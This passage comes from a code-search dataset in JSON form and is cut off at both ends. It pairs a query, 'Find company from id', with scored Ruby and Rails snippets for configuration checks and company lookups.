"cad943cc60610cddebe2cff91aaac1ea", "score": "0.5701178", "text": "def exists?\n conf_file.successful?\n end", "title": "" }, { "docid": "cad943cc60610cddebe2cff91aaac1ea", "score": "0.5701178", "text": "def exists?\n conf_file.successful?\n end", "title": "" }, { "docid": "d87d8558054f79c8ce48dde19d336a35", "score": "0.5686791", "text": "def exists?(name)\n\t\t\t\tname = name.to_sym\n\t\t\t\t@options.keys.include?(name)\n\t\t\tend", "title": "" }, { "docid": "90fa2f548f78aa69f065e9c907aa5e5e", "score": "0.56832635", "text": "def config?\n raw_config.present?\n end", "title": "" }, { "docid": "39e1ffb86b2df510362df133a59e9863", "score": "0.5668483", "text": "def sections_exist?\n @top_level.items.present?\n end", "title": "" }, { "docid": "540ca4ae4de90bb9c06faa148d4ed104", "score": "0.56665474", "text": "def can_be_configured?(vagrant_config, file_config)\n true\n end", "title": "" }, { "docid": "cd2d48ac81d4440e10d5244824a47f9a", "score": "0.5658047", "text": "def loaded_config?\n begin\n @config = YAML::load(File.open(@options.config_file))\n rescue => err\n @stderr.puts \"Error loading config file: #{err}\"\n return false\n end\n return true\nend", "title": "" }, { "docid": "5c16f78200af9a9dc1be92ee666528ca", "score": "0.56542546", "text": "def in_path?\n config.paths.any? do |path_spec|\n path_spec === file\n end\n end", "title": "" }, { "docid": "29aa88a3d5bf772760b7e14f3f1465d8", "score": "0.5648386", "text": "def config\n\n if @name\n\n conf = option_string()\n\n return conf\n\n else\n\n puts \"no peers section name defined\"\n\n return false\n\n end\n\n end", "title": "" }, { "docid": "a808fd82848ce674c059b2d4bf8c53a6", "score": "0.56205046", "text": "def parse_section(comment_section)\n cleaned = comment_section.strip.sub(/\\.$/, '') # Kill trailing period\n if cleaned.match(/Styleguide (.+)/)\n $1\n else\n false\n end\n end", "title": "" }, { "docid": "43224483df958314b5da889bec825727", "score": "0.55968785", "text": "def section(name)\n sections.find { |el| el.name == name.to_s }\n end", "title": "" }, { "docid": "d720246f4117268ebfeb2477ffc1d85b", "score": "0.55646956", "text": "def configuration_exists(conf_line,find_str)\n\n #Check that the configuration attribute exists\n conf_exists = conf_line.include?(find_str)\n conf_value = false\n\n #Ensure there is a value for the configuration line\n if conf_exists && conf_line.split('=')[1].chomp.strip.length > 0\n conf_value = true\n end\n\n return conf_value\n\nend", "title": "" }, { "docid": "9c586b59aef208bd338f89b101396740", "score": "0.55629337", "text": "def active?\n if needs_sandbox?\n return false unless sandbox_active?\n end\n load_configuration_file\n if self.name.eql? 'Default'\n case policy = self.searchpolicy\n when Integer\n return true if policy < 3\n else\n return true if policy =~ /\\AdsAttrTypeStandard:[LN]SPSearchPath\\z/\n end\n end\n return false if cspsearchpath.nil?\n return false unless searchpolicy_is_custom?\n cspsearchpath.member?(@label)\n end", "title": "" }, { "docid": "f293f2c0052111d280b8247d7cd24119", "score": "0.5555608", "text": "def extract_sections(file, sections)\n copy = false\n config = File.read(file).split(\"\\n\")\n config.map do |line|\n copy = false if line =~ /^\\[/\n copy = true if sections.include? line.strip\n line if copy\n end.compact.reject(&:empty?) * \"\\n\"\nend", "title": "" }, { "docid": "88c9cd3d8fb15a4f550b01014bbfa6f2", "score": "0.5554654", "text": "def temp_config(search_for)\n return false if @settings.nil?\n @settings[search_for.to_sym].blank? ? false : @settings[search_for.to_sym]\n end", "title": "" }, { "docid": "34c59588a7ad2e34b8758093b4ca50dc", "score": "0.5544111", "text": "def option?(option)\n content[\"servers\"].any? {|_, settings| settings.has_key?(option)}\n end", "title": "" }, { "docid": "bc3b8943e9ec0267d7c9be0ea711d9b1", "score": "0.55343026", "text": "def include?(file)\n manifest_entry[file] != nil\n end", "title": "" }, { "docid": "77fbc8015af5c15fdd490282e86bea7d", "score": "0.55275494", "text": "def has_key?(key)\n @config.has_key? key\n end", "title": "" }, { "docid": "ff9467c368f5e18fb60dc4dbff16ab23", "score": "0.551941", "text": "def configured?(key)\n assert_explanation(key)\n @configuration.has_key?(key)\n end", "title": "" }, { "docid": "52dc9d1e69c14bbf1d20523f6ef8b31b", "score": "0.5512732", "text": "def configured?\n configuration_exists?\n end", "title": "" }, { "docid": "18b7bb76c1cca3d49ed72cde737836f8", "score": "0.5512195", "text": "def has_key?(key)\n @configuration.has_key?(key.to_sym)\n end", "title": "" }, { "docid": "8c337214bffbfc9f50e27ff8cbcaf620", "score": "0.5512184", "text": "def section_by_name(section_name)\n result = nil\n all_sections = sections\n return result unless all_sections\n\n all_sections.each do |section|\n result = section if section['display_name'] == section_name\n end\n result\n end", "title": "" }, { "docid": "8a9b8ca94fa4ffaa78a377a0f9a19b3b", "score": "0.551142", "text": "def use_consolidated_settings?\n return false unless settings.dig('object_store', 'enabled')\n return false unless settings.dig('object_store', 'connection').present?\n\n WORKHORSE_ACCELERATED_TYPES.each do |store|\n # to_h is needed because we define `default` as a Gitaly storage name\n # in stub_storage_settings. This causes Settingslogic to redefine Hash#default,\n # which causes Hash#dig to fail when the key doesn't exist: https://gitlab.com/gitlab-org/gitlab/-/issues/286873\n #\n # (byebug) section.dig\n # *** ArgumentError Exception: wrong number of arguments (given 0, expected 1+)\n # (byebug) section.dig('object_store')\n # *** ArgumentError Exception: wrong number of arguments (given 1, expected 0)\n section = settings.try(store)&.to_h\n\n next unless section\n\n return false if section.dig('object_store', 'enabled')\n # Omnibus defaults to an empty hash\n return false if section.dig('object_store', 'connection').present?\n end\n\n true\n end", "title": "" }, { "docid": "bc6ce789526797d2723637c236668960", "score": "0.55088776", "text": "def section_by_name(section_name)\n section = sections.find do |s|\n s.name == section_name\n end\n if section.nil?\n raise RTrail::NotFound.new(\n \"Section '#{section_name}' not found in Suite '#{data.name}'\")\n end\n return section\n end", "title": "" }, { "docid": "a0b15934afcbf9b103c6dcfc579a2c60", "score": "0.5501954", "text": "def config?\n options[:config]\n end", "title": "" }, { "docid": "529bbd126657e8cdf11bc2ba08f504a3", "score": "0.5486714", "text": "def sample_ids_in_config?\n # check them all first\n @options.samples.each do |s|\n unless @config[s]\n @stderr.puts \"Can't find sample '#{s}' in config\"\n return false\n end\n end\n return true\nend", "title": "" }, { "docid": "03a306f9b34fad35805a351f12932d3a", "score": "0.5470557", "text": "def valid_section?(section)\n values(section).compact.sort == options[:values].sort\n end", "title": "" }, { "docid": "476dc54e2f55f2e3c1b2d224007852b7", "score": "0.54674405", "text": "def has_key?(key)\n configs.has_key?(key) || store.has_key?(key) \n end", "title": "" }, { "docid": "80d2c65cbcfa7687e58d0076ad67259b", "score": "0.5461924", "text": "def has_config?(variable)\n # Make sure the configured configuration is loaded, if possible\n init\n\n begin\n value = self.config(variable)\n return (not value.nil?)\n rescue RuntimeError => err\n return false\n end\n end", "title": "" }, { "docid": "c06cc7884be46b7e893879e7e2018c57", "score": "0.5449828", "text": "def customization_section?\n current_page_includes?(edit_resource_context_path(@resource_context),\n new_resource_context_path,\n customization_requirement_path(@resource_context)) ||\n ( params[:controller] == 'customizations' && params[:requirement_id] &&\n current_page?(customization_requirement_path(@resource_context, requirement_id: params[:requirement_id])))\n end", "title": "" }, { "docid": "c9d5f67e74dce06623ca34f6ad9fa2bb", "score": "0.54459256", "text": "def content_api_has_root_sections(slugs_or_sections)\n content_api_has_root_tags(\"section\", slugs_or_sections)\n end", "title": "" }, { "docid": "b590ee0d615bbc36154dcc6db1b547cd", "score": "0.5445626", "text": "def exists?\n conf.has_key? 'dashboard'\n end", "title": "" }, { "docid": "adc00b8ae4d5ae6636ed012bfd9d0ea5", "score": "0.5441755", "text": "def plist_key_exists?(key, file, opts={})\n plist_read(key, file, opts) != nil\n end", "title": "" }, { "docid": "f053d3fd62cc312b586e38b12567bfe8", "score": "0.5435419", "text": "def mayuse(opts, path)\n if not opts.excludefiles.empty? then\n findme = path\n if opts.use_basename then\n findme = File.basename(path)\n end\n opts.excludefiles.each do |rx|\n if findme.match(rx) != nil then\n return false\n end\n end\n end\n return true\nend", "title": "" }, { "docid": "209380a0ab29d156cf7de63ddac66945", "score": "0.5407319", "text": "def cookbook?\n File.exist? \"#{@config.workspace}/metadata.rb\"\n end", "title": "" }, { "docid": "ba0c3690aef20e73e3164c35ca5be1f6", "score": "0.54061383", "text": "def configuration_for?(key)\n key = resolver.resolve(key) unless key == :default\n configurations.key?(key)\n end", "title": "" }, { "docid": "ab89e618b2c13e0d0cff27f8a6170bc3", "score": "0.54060835", "text": "def include?\n @options[:include]\n end", "title": "" }, { "docid": "2b3fa8b2b7c21de9b89a08bada62fa18", "score": "0.54053766", "text": "def guardfile_include?(plugin_name)\n /^\\s*guard\\s*\\(?\\s*['\":]#{plugin_name}['\"]?/.match(@contents)\n end", "title": "" }, { "docid": "49cbc4e33025ac75c05c9a335220c437", "score": "0.53655463", "text": "def auto_config? name\n return auto_config[name] if !auto_config[name].nil?\n Troles::Config.auto_config?(name)\n end", "title": "" }, { "docid": "7480d94afe0c8ddabef4a9c8138f95c3", "score": "0.53550714", "text": "def user_template_exists?\n !options['puppet_config_template'].nil? &&\n File.exist?(options['puppet_config_template'])\nend", "title": "" }, { "docid": "58dae899e81b89a867ec7fc564e09d27", "score": "0.5353472", "text": "def configured?\n @configuration != nil\n end", "title": "" }, { "docid": "8f3941c78e4628d0afe9372922d3ab92", "score": "0.5349848", "text": "def [](section_name)\n config[section_name]\n end", "title": "" }, { "docid": "c9b7e41e8cd11531ee5f8f09bdc83ac3", "score": "0.53474414", "text": "def is_first_start()\n\t\t\tif (File.exist?(ControlCat::PATH + ControlCat::CONFIGFILE))\n\t\t\t\tputs \"#{self.to_s} Tells: File exists returning true\".green if ControlCat::DEBUG\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\tputs \"#{self.to_s} Tells: File does not exist returning false\".red if ControlCat::DEBUG\n\t\t\t\treturn false\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "904cf97e1671c561a27327e5fbdd6db4", "score": "0.5347118", "text": "def config_file_loaded?\n @config_file_loaded\n end", "title": "" }, { "docid": "526206f94d3fb74da192e459b6d644bc", "score": "0.53364646", "text": "def include_rails_config? exp\n target = exp.target\n if call? target\n if target.target == RAILS_CONFIG\n true\n else\n include_rails_config? target\n end\n elsif target == RAILS_CONFIG\n true\n else\n false\n end\n end", "title": "" }, { "docid": "8184fa4d711e04071a1594d84e33949f", "score": "0.5332775", "text": "def test_no_sections\n e = assert_raise(RuntimeError) { load_config('test_configs/no-sections-config.conf') }\n assert_equal('Key-value pair must be part of a section', e.message)\n end", "title": "" }, { "docid": "7dc4904c14bca36bb2fb32c10a79ee31", "score": "0.5318963", "text": "def config_parsed?\r\n config_parsed\r\n end", "title": "" }, { "docid": "8e4b6f9c9bf8ca5d3aef733f3463a414", "score": "0.53095376", "text": "def include?(production)\n production = production.parse_rule if production.kind_of? String\n\n any? { |p| p == production }\n end", "title": "" }, { "docid": "2c84f4370ca110604c7869e30ce32c42", "score": "0.5305904", "text": "def exists?\n conf.has_key? 'api'\n end", "title": "" }, { "docid": "a64a16d102eeea55467964f1d287460e", "score": "0.5300435", "text": "def option_registered?(name)\n @entries.key?(name)\n end", "title": "" }, { "docid": "2252e6bcd5b12d83edb5834b09205979", "score": "0.529922", "text": "def parse_from_file\n parsed_opts = YAML.load_file(config_path)\n parsed_opts.delete_if{|k| k.to_s == 'config_path'}\n parsed_opts.each_pair{|k,v| self[k] = v}\n true\n rescue Errno::ENOENT\n false\n end", "title": "" }, { "docid": "f777254c36d4cb145fd49f094d32136b", "score": "0.5298638", "text": "def matches?(root_path=nil)\n content = read_application_file\n return nil if content.empty?\n ls, rs, op = escape_all(left_side, right_side, operator)\n (content =~ /config.#{ls}\\s*#{op}\\s*#{rs}/)\n end", "title": "" }, { "docid": "be6e2c88a74bf3af14c3cc6ee287ceec", "score": "0.52931166", "text": "def key?(key)\n configuration.key?(key.to_sym) || config_contexts.key?(key.to_sym)\n end", "title": "" }, { "docid": "1be4795204c29630d4ddba85e9061db3", "score": "0.52906144", "text": "def include?(name)\n ! self[name].nil?\n end", "title": "" }, { "docid": "cae5b52e5cc251a3efde23dc9a4fa6d0", "score": "0.5289059", "text": "def section(name) # :nodoc:\n warn('Config#section is deprecated; use Config#[]')\n @data[name] || {}\n end", "title": "" }, { "docid": "5c9f31f0047dec5079d2bacf1cd77315", "score": "0.5285876", "text": "def get_config_section(section_name)\r\n parse_config unless config_parsed?\r\n JSON.parse exec(\"echo json_encode($config[#{section_name.to_s.inspect}]);\").strip\r\n end", "title": "" }, { "docid": "d2239603ae19c74cb8842eacadf34078", "score": "0.5280966", "text": "def apparently_configured?\n return false unless File.exist?(user_vimrc_path)\n\n FileUtils.compare_file(user_vimrc_path, template_vimrc_path)\n end", "title": "" }, { "docid": "29bfc6f25b859c41d65c0643dfea7c4d", "score": "0.5268768", "text": "def is_current_section(path)\n request.fullpath.start_with?(path)\n end", "title": "" }, { "docid": "9b3ecae69912fd6b8996b68b1ae8f511", "score": "0.5266611", "text": "def config_tool_needed?\n false\n end", "title": "" }, { "docid": "8b1b8af652b65046163379f4ebf3943d", "score": "0.5252383", "text": "def detect_configuration_file\n KNOWN_CONFIG_LOCATIONS.map{|f| projectize(f)}.detect{|f| File.exists?(f)}\n end", "title": "" }, { "docid": "5e7c82dae2d2160a68d6ebcd4a062592", "score": "0.5251571", "text": "def check_unknown_options?(config) #:nodoc:\n options = check_unknown_options\n return false unless options\n\n command = config[:current_command]\n return true unless command\n\n name = command.name\n\n if subcommands.include?(name)\n false\n elsif options[:except]\n !options[:except].include?(name.to_sym)\n elsif options[:only]\n options[:only].include?(name.to_sym)\n else\n true\n end\n end", "title": "" }, { "docid": "017c95389dbb6a4432341b4bc56f4ba7", "score": "0.524166", "text": "def challenge_exists?(challenge_name)\n YAML.load_file(\"config.yaml\")[:challenges].each do |challenge|\n return true if challenge[:name] == challenge_name\n end\n false\n end", "title": "" }, { "docid": "feb08a353ba173567097a65bbb75882c", "score": "0.52357984", "text": "def is_zz?\n zz[:app_config] != nil\n end", "title": "" }, { "docid": "cb6039dadda3fc272a91a8230db3757b", "score": "0.5233104", "text": "def exists?\n get_lxd_config_value(resource[:config]) != nil\n end", "title": "" }, { "docid": "a278a9a04d662c8c880e069124ec9af0", "score": "0.5230986", "text": "def knows?(name)\n !find_file(name).nil?\n end", "title": "" }, { "docid": "e4ab392c8b7f0a820fca164ea6d54f9f", "score": "0.5224303", "text": "def exists?(config, *keys)\n hash = retrieve_value(config, keys)\n exist = !hash[:value].nil?\n\n if (not exist)\n # no verbosity checking since this is lowest level anyhow & verbosity checking depends on configurator\n @stream_wrapper.stderr_puts(\"ERROR: Required config file entry #{format_key_sequence(keys, hash[:depth])} does not exist.\")\n end\n\n return exist\n end", "title": "" }, { "docid": "c23ce5544b22dc3abf08c8dbd0d40126", "score": "0.5221404", "text": "def plugin_enabled?(plugin_name)\n !!@config['plugins'][plugin_name]\n end", "title": "" }, { "docid": "d8311a81cb12e65fa01c2c8bd7f69c55", "score": "0.52199423", "text": "def key?(key)\n @configuration.key?(key)\n end", "title": "" }, { "docid": "d90eb5b23edc306694b3667f0592cd59", "score": "0.52154547", "text": "def include?(name)\n !!find_by_name(name)\n end", "title": "" }, { "docid": "506f3338b9a14d7475e89f2e2875f897", "score": "0.5210273", "text": "def is_text_in_section?(section, content, flag=true)\n within(\"#{section}\") do\n if flag\n assert page.has_content?(\"#{content}\"), \"Error: #{content} not found in #{section} !\"\n else\n assert !page.has_content?(\"#{content}\"), \"Error: #{content} found in #{section} !\"\n end\n end\n end", "title": "" }, { "docid": "c7eccb26b60705fb0bf20dde278b3208", "score": "0.5204008", "text": "def current_section?(path)\n request.fullpath.starts_with?(path)\n end", "title": "" }, { "docid": "b4f410b47708e2ac9e3275a4aee0e30b", "score": "0.520339", "text": "def config_service?\n true\n end", "title": "" } ]
de7d38fa672135d1fadd43e689bea21e
Find company from id
[ { "docid": "29088463c5ae349b9a3fb78945881d46", "score": "0.80864584", "text": "def get_company_from_id\n Company.find(params[:id]) if params[:id].present?\n end", "title": "" } ]
[ { "docid": "127300860e58bef781fa912dbfef67d0", "score": "0.82096994", "text": "def find_company\n Company.find(params[:company_id].to_i)\n end", "title": "" }, { "docid": "127300860e58bef781fa912dbfef67d0", "score": "0.82096994", "text": "def find_company\n Company.find(params[:company_id].to_i)\n end", "title": "" }, { "docid": "650d531dd41ffcc8bd4ff5d874f68e03", "score": "0.8099332", "text": "def find_company\n\t\t\t@company = Company.find(params[:id])\n\t\tend", "title": "" }, { "docid": "e18ef8808c8074c603d2da9bed1627dd", "score": "0.8045962", "text": "def find_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "85f76d1daf40f5135940744ea04180b6", "score": "0.8033093", "text": "def company(id)\n Company.find(@server, id: id, context: {\n any: lambda { companies.first },\n new: lambda { Company.fake(org: self) },\n all: lambda { companies },\n })\n end", "title": "" }, { "docid": "0385d192f41f2e1dedb7a04b4799ebfd", "score": "0.73521256", "text": "def find_company(comp_name,companies)\n companies.find do |company|\n company.name == comp_name\n end\nend", "title": "" }, { "docid": "4f62750d4e3261ba4a235c6b585b83a8", "score": "0.72978634", "text": "def get_company\n @company = Company.find(params[:company_id])\n end", "title": "" }, { "docid": "24827ebee10aa89243e29598eaccd352", "score": "0.7293117", "text": "def set_company\n use_id = params[:id] =~ /\\A\\d+\\Z/\n @company = use_id ? Company.find(params[:id]) : Company.find_by(symbol: params[:id])\n end", "title": "" }, { "docid": "7aa314e51471217077d979025ff74965", "score": "0.7291519", "text": "def get_company(id, options={}) path = \"/api/v2/companies/#{id}\"\n get(path, options, AvaTax::VERSION) end", "title": "" }, { "docid": "2863101346727935b2be328e3ba48d38", "score": "0.7252319", "text": "def set_company\n # Companies are looked up by their name\n @company = Company.where(name: params[:id]).first\n end", "title": "" }, { "docid": "1592f26338df7453c8a8922f888fc79b", "score": "0.7214747", "text": "def get_company\n\t\t@coy = Company.find(params[:id])\n\tend", "title": "" }, { "docid": "04953b68219da1b2b895d5e83dade0ed", "score": "0.7179266", "text": "def set_company_by_company_id\n @company = Company.find_by_hashid(params[:company_id])\n end", "title": "" }, { "docid": "9a38b78e4a67d6d2ec883b4a61650f19", "score": "0.71587414", "text": "def find_company_id(name)\n @company = Company.find_or_create_by(name: name)\n @company.id\n end", "title": "" }, { "docid": "e8bf5c6363612f7d5071c6f4f6450cfe", "score": "0.7141691", "text": "def company\n response = JSON.parse(@client.get(\"users/#{send(:id)}/companies\").body)\n Promisepay::Company.new(@client, response['companies'])\n rescue Promisepay::NotFound\n nil\n end", "title": "" }, { "docid": "11018b744c61f5681a741fe7db2c4bf5", "score": "0.71401346", "text": "def search_company\r\n @company = Company.where(\"name = ?\", params[:name]).first\r\n emp = \"\"\r\n if(!@company.nil?)\r\n emp = Employer.where(\"id = #{session[:employer].id}\").first\r\n end\r\n if !@company.nil?\r\n if @company.id.to_i != emp.company_id.to_i\r\n render :text => \"Company exists\"\r\n else\r\n render :text => \"Company doesn't exist\"\r\n end\r\n else\r\n render :text => \"Company doesn't exist\"\r\n end\r\n end", "title": "" }, { "docid": "3b154f264f1a447445d392c35c13473f", "score": "0.71099335", "text": "def get_company\n begin\n @company = Company.find(params[:id])\n rescue\n redirect_to companys_path\n end\n end", "title": "" }, { "docid": "3229597008aff002ebd904664d2d32e6", "score": "0.71093446", "text": "def company_by_name(companies, name)\n companies.all.find do |each_company|\n each_company.name == name\n end\nend", "title": "" }, { "docid": "fca9b409ee666dbc838376acf40adca9", "score": "0.6991929", "text": "def company_id\n self.dig_for_string(\"companySummary\", \"id\")\n end", "title": "" }, { "docid": "43da79753a5563684af3962f869e5483", "score": "0.6957612", "text": "def find_public(companyid)\n self.find(:all, :conditions => \"#{Company.primary_key}=#{companyid} AND type_=1\")\n end", "title": "" }, { "docid": "4ce2a51611339aa807b3019c8f6455f3", "score": "0.6942613", "text": "def find_complaint\n\t\t@complaint = @company.complaints.find(params[:id])\n\tend", "title": "" }, { "docid": "73b793d353c6d77dc8fafd911839cc31", "score": "0.69232893", "text": "def set_company\n begin\n @company = Company.where(['id = ? OR slug = ?', params[:id].to_i, params[:id]]).first!\n rescue\n respond_to do |format|\n format.html { redirect_to companies_url, notice: \"#{_('Company')} #{_('was not found')}.\" }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "c7e30b36208c5917fffca6c077d260ca", "score": "0.6838055", "text": "def set_company\n @company ||= Company.find(params[:id])\n end", "title": "" }, { "docid": "e54a3e697d66d6301ade73d2e5d05435", "score": "0.6829409", "text": "def set_company\n @company = Company.find_by_id(params[:id])\n end", "title": "" }, { "docid": "048cdb7efaa82b8686a7f60ea1b70707", "score": "0.68075854", "text": "def set_company\n @company = Company.friendly.find(params[:id])\n end", "title": "" }, { "docid": "048cdb7efaa82b8686a7f60ea1b70707", "score": "0.68075854", "text": "def set_company\n @company = Company.friendly.find(params[:id])\n end", "title": "" }, { "docid": "048cdb7efaa82b8686a7f60ea1b70707", "score": "0.68075854", "text": "def set_company\n @company = Company.friendly.find(params[:id])\n end", "title": "" }, { "docid": "048cdb7efaa82b8686a7f60ea1b70707", "score": "0.68075854", "text": "def set_company\n @company = Company.friendly.find(params[:id])\n end", "title": "" }, { "docid": "048cdb7efaa82b8686a7f60ea1b70707", "score": "0.68075854", "text": "def set_company\n @company = Company.friendly.find(params[:id])\n end", "title": "" }, { "docid": "c0576ef97fe95a55be1a9184708ba486", "score": "0.67963964", "text": "def find_open(companyid)\n self.find(:all, :conditions => \"#{Company.primary_key}=#{companyid} AND type_=2\")\n end", "title": "" }, { "docid": "6088ddca801ad07001fec9263e5ae23e", "score": "0.67901546", "text": "def set_company(id)\n @company = Company.find(id)\n end", "title": "" }, { "docid": "116cf447c1040fdbcbf01215acc7e27e", "score": "0.6764663", "text": "def set_company\n if params[:company_id]\n @company = Company.find(params[:company_id])\n else\n @company = Company.find(params[:id])\n end\n end", "title": "" }, { "docid": "fd40910b48740da970b76d5c4d12b663", "score": "0.6751902", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "e42138364fc630907b50dece2b0040f1", "score": "0.6746424", "text": "def set_company\n @company = Company.friendly.find(params[:id])\n end", "title": "" }, { "docid": "e42138364fc630907b50dece2b0040f1", "score": "0.6746424", "text": "def set_company\n @company = Company.friendly.find(params[:id])\n end", "title": "" }, { "docid": "1d44209bc6366e7870fa99fcd381622c", "score": "0.6744997", "text": "def private_company(entity)\n return entity if entity.company?\n\n @companies.find { |company| company.sym == entity.id }\n end", "title": "" }, { "docid": "3fc07d73b8059ee71ba7ec6a27f12959", "score": "0.6742484", "text": "def set_company\n @company = Company.find_by_permalink(params[:id])\n end", "title": "" }, { "docid": "35e780e51beed7e81c0fc013b66cea91", "score": "0.6727875", "text": "def search_contact(id)\n @contacts.find {|contact| id == contact.id }\n end", "title": "" }, { "docid": "6ba3a37bf1c00168fcc5267552f5d1da", "score": "0.6707946", "text": "def company_id\n self.dig_for_string(\"officeSummary\", \"companyId\")\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "7f94f829a7eadc5fd986f830841d7fbd", "score": "0.66776603", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "c77bf29d480b5b5cff7d4283677c3730", "score": "0.66687155", "text": "def set_company\n\t @company = Company.find(params[:id])\n\t end", "title": "" }, { "docid": "5e00933a00606973df8eab19ba9b702f", "score": "0.66535515", "text": "def set_company\r\n @company = Company.find(params[:id])\r\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = Company.find(params[:id])\n end", "title": "" }, { "docid": "8d7986aa4d76ca2855b576d18e8dec72", "score": "0.665", "text": "def set_company\n @company = 